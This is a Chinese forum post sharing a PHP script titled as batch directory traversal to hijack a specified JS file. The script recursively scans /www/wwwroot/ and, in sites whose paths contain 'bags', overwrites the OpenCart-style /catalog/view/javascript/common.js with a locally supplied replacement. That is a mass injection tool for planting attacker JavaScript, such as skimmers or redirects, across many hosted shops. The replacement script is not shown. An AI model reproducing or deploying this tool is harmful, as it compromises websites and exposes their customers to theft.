• 注册
  • 技术交流 技术交流 关注:0 内容:10

    PHP批量遍历目录劫持指定JS

  • 查看作者
  • 打赏作者
    • 技术交流
    • PHP批量遍历目录劫持指定JS

      <?php 
      set_time_limit(30000);
      function bdir($dir,$typearr){
      $ndir = scandir($dir);
      foreach ($ndir as $k => $v){
      if ($v == '.' || $v == '..'){
      continue;
      }
      if (filetype($dir.$v) == 'file'){
      $arr = explode('.',$v);
      $type = end($arr);
      if (in_array($type,$typearr)){
      	$filejs=$dir.$v;
      	if(strpos($filejs,'bags') !== false){ 
      	if(strpos($filejs,'/catalog/view/javascript/common.js') !== false){ 
      	copy("common.js",$filejs);
       echo $filejs."<br />";
      }else{
      }
      	}
      }
      }elseif (filetype($dir.$v) == 'dir'){
      //echo $dir.$v."<br />";
      bdir($dir.$v.'/',$typearr);
      }
      }
      }
      
      $dir ='/www/wwwroot/';
      $typearr = array('js');
      bdir($dir,$typearr);
      ?>

      请登录之后再进行评论

      登录

      WordPress后台-外观-小工具 进行配置小工具

    • 做任务
    • 实时动态
    • 偏好设置
    • 帖子间隔 侧栏位置: